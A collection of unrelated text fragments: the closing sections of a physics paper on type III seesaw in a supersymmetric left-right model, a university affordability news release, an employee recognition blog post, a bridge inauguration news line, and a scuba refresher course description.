of future work. The calculations regarding the positron excess will go on similar footing as done in
\cite{Baltz:2002we}. There they considered the case of a right handed neutrino instead of the sterile
fermion $\rho$ we have here. Although the $\rho $ 's have similar annihilation channels in our model
like right handed neutrinos have in the model \cite{Baltz:2002we}, the mass mechanism is entirely
different in the two cases. \\
\indent The leptogenesis mechanism in this model can be very different from the usual SUSYLR model
due to the absence of Higgs triplets with even B-L where the leptogenesis arises from the doubly
charged higgs or a heavy neutrino. This has been discussed in detail in  \cite{Albright:2003xb}.
 Apart from all these this new model can have good collider phenomenology in terms of the extra
fermionic singlets. These singlets can be produced in the collider through processes like
$ l \bar{l} \rightarrow \rho \rho $ by the channel shown in \ref{fig:1} where the leptons
$l, \bar{l}$ can come from various intermediate products like photons, Z bosons etc.
\section{Conclusion}
\indent We have implemented type III seesaw in the minimal supersymmetric left right model by
replacing the B-L even Higgs triplets with B-L odd Higgs doublets and an extra fermionic singlet
per generation. We have also shown that the minimization of the scalar potential gives us a vacuum
which does not allow left-right symmetry. Thus spontaneous parity violation can be naturally achieved.
We have also shown the neutrino mass matrix in our model where the small standard model neutrino
masses can be obtained by suitable adjustment of various scales of symmetry breaking consistent with
the F-term conditions. We have also commented on the possible dark matter candidates in the model.
Since R-parity is conserved in our model except for the mass terms mixing neutrino with the singlet fermion, the neutralinos are of course good dark matter candidates
like in many supersymmetric models. Apart from that the extra fermion $\rho$  as well as its superpartner boson $\tilde{\rho}$ can be more interesting
as dark matter candidates from experiments like PAMELA, ATIC point of  view since they have annihilation
channels only into leptons and not to quarks. We have also mentioned the possible channel which would
be of interest in the collider aspects of these new singlet fermions.
\section{Acknowledgment}
\indent Sudhanwa Patra would like to thank Prof. Utpal Sarkar for valuable comments and reading the manuscript and also thank the hospitality at Indian Institute of Technology, Gandhinagar, India, where most of the present work was done. Both Debasish Borah and Sudhanwa Patra would like to thank Prof. Urjit A. Yajnik and Prof. S. Umasankar for useful discussions and comments related to the manuscript.

redpajama_set_name: RedPajamaArXiv


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UW, Rival Join to Promote Affordability of Public Higher Education
Affordability and Student Aid
Public higher education is not just possible, it is easily within reach for Washington residents. That's the message behind a new joint public-awareness campaign of the University of Washington and Washington State University to promote the affordability of higher education in the state of Washington.
The two rivals are coming together to spread the word about the importance and value of a higher education.
The "Yes, It's Possible," campaign debuts Monday — kicking off Apple Cup week — with a string of joint activities designed to raise awareness of the access to higher education in the state. Scheduled to continue through spring, the effort features a digital marketing campaign and other targeted advertising aimed at potential college students.
"Students and their families read these headlines about the massive debt load that students are under and the exorbitant cost of getting a bachelor's degree, and we're concerned that they might be making decisions based on that when, in fact, our public institutions in the state of Washington are doing a fabulous job of keeping it affordable," said UW President Ana Mari Cauce. "That's the notion of, 'Yes, it's possible.' We want them to know that if they want to go to college in our state, in our public universities and community colleges, it is possible for them to go to school and it doesn't take crippling debt loads."
Higher education is the surest path to mobility, opportunity and a better life, university officials said. Regardless of background, interest or hometown, there's a clear path to a quality higher education in Washington. Higher education pays dividends by providing access to healthier, more rewarding lives, as well as increased participation in communities and a chance to provide for families.
"We compete on Friday, but we're both working hard to try and make sure that Washington kids have a great opportunity to access higher education," said WSU President Kirk Schulz. "The Apple Cup presents a great time for us to be talking about some of the things our universities are doing together. There are myths that float around about students not being able to attend college, and we want to be able to talk to them about how higher education is achievable."
Statistics show student loan debts in the state of Washington are not as large as many might think. Nearly half (48 percent) of the Class of 2017 that graduated from a Washington baccalaureate-granting institution left with no student loan debt, and Washington ranks second in the nation in need-based grant aid per undergrad student (behind New Jersey by $6 per student). Of those who did graduate with debt across the state, it was less than $24,000, on average, and the three-year student-loan default rate for graduates from Washington's four-year universities is 4.7 percent, compared to the national average of 11.5 percent.
By Jackson Holtz
UW Joins With WSU to Promote Affordability of Public Higher Education was originally published on the University of Washington website.
AAU's research universities are leading the effort to ensure that every qualified student has access to a world-class education regardless of their families' finances.
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Recognize Employees for Small Wins to Build Confidence | gThankYou!
Build a confident, productive workplace — recognize employees for small wins throughout the year!
Recognize employees for small wins regularly — not just once a year — for a confident, productive workplace.
Praise for specific acts of excellence builds employee self-confidence and in turn increases engagement. The more, the better!
Employee recognition is one of the most important responsibilities your managers undertake, according to management and sales expert Brian Tracy.
"Building self-esteem and self-confidence in others is more important in bringing the best out of people than all the education, intelligence or experience you might have at doing your job," he writes on his blog.
The best employee recognition fulfills a "core emotional need" in humans: to feel important. Your employees want to work for leaders who like them and value them. After all, company leaders are the ones who hold "the most influence over the employee's work and income," Tracy writes.
Unfortunately, too many well-meaning employee recognition programs don't make this emotional connection with employees. Instead of building confidence, these efforts actually lower confidence and demotivate.
Ensure that your workplace leaders recognize employees effectively. Invest time and structured training for managers so they understand recognition expectations, and learn how to effectively recognize reports. Read on for expert tips on inspiring and using confidence-building recognition.
Is recognition an "event" in your workplace? Celebrations are a lively part of workplace culture but only effective when they're backed by everyday recognition. Don't rely on events alone to communicate your gratitude to employees. Recognition should be a daily habit.
Everybody loves money, but it isn't the only or even the top employee motivator, according to Gallup. What employees really respond to is your clearly communicated appreciation. Your gift of money motivates with great recognition, not without it. In the absence of "Thanks," monetary recognition can be interpreted as a bribe, an "easy way out" for leaders to thank employees without actually doing much. Better yet, choose a non-monetary gift that will be individually meaningful to employees! It shows you actually care.
Employees need to hear recognition from leaders first. Your HR team is responsible for coordinating engagement and recognition efforts, but leaders still need to be involved. Make sure leadership is on-board, fully supportive and ready to communicate recognition regularly on the job.
The annual office Christmas party is an important cultural tradition. Celebrating together at the holidays is a meaningful way to share appreciation with employees. But those good feelings won't last into spring, let alone August. There is no "off season" for recognition. The best companies recognize employees throughout the year.
If employees don't know why they're being recognized, they won't know which good behaviors to replicate on the job in the future. A blanket "Good job!" for everybody could even demotivate because it comes across as insincere and uncaring.
Ultimately your goal to recognize employees supports and boosts their internal motivation — "personal satisfaction or pride in work" is one of the top ways employees are motivated to continue excellent work, according to Gallup.
By recognizing results and individual effort, you're appealing to the employee's emotional need to feel useful. Confidence-building recognition lets employees know why their work matters.
One of the most commonly reported obstacles to better recognition is lack of time, according to The Balance article, "The Power of Positive Employee Recognition." Inevitably, when a company concentrates its recognition efforts on a single event or day, the impact is disappointing and it feels like a lot of time spent without much to show for it.
That's why it's better to spread recognition throughout the year, make it a daily habit. Even five minutes a day spent recognizing employees can meaningfully build confidence, motivation and engagement!
Smart Ways to Recognize Frontline Employees — It's Simple!


The upcoming inauguration ceremony will be co-presided over by the two countries' Prime Ministers, according to a news release of the Ministry of Public Works and Transport (MPWT) issued after yesterday's inspection visit of Senior Minister and Minister of MPWT H.E. Sun Chanthol to the bridge with the participation of his Thai counterpart H.E. Arkhom Termpittayapaisith.


Tailored for someone who has been absent from diving for a while, or for any diver who would like to refresh and retune their dive skills.
Also a half-day course, we start in the pool to complete the confined water portion. The instructor will watch you set up your equipment and give you any advice if needed, as well as a briefing on the skills that they will recap for you.
These include mask skills, equalizing, buoyancy and out-of-air scenarios.
Once you have completed the skills and are comfortable in the confined water you can complete your dive.
You can choose your dive site, either Hol Chan Marine Reserve or a site outside of the reef.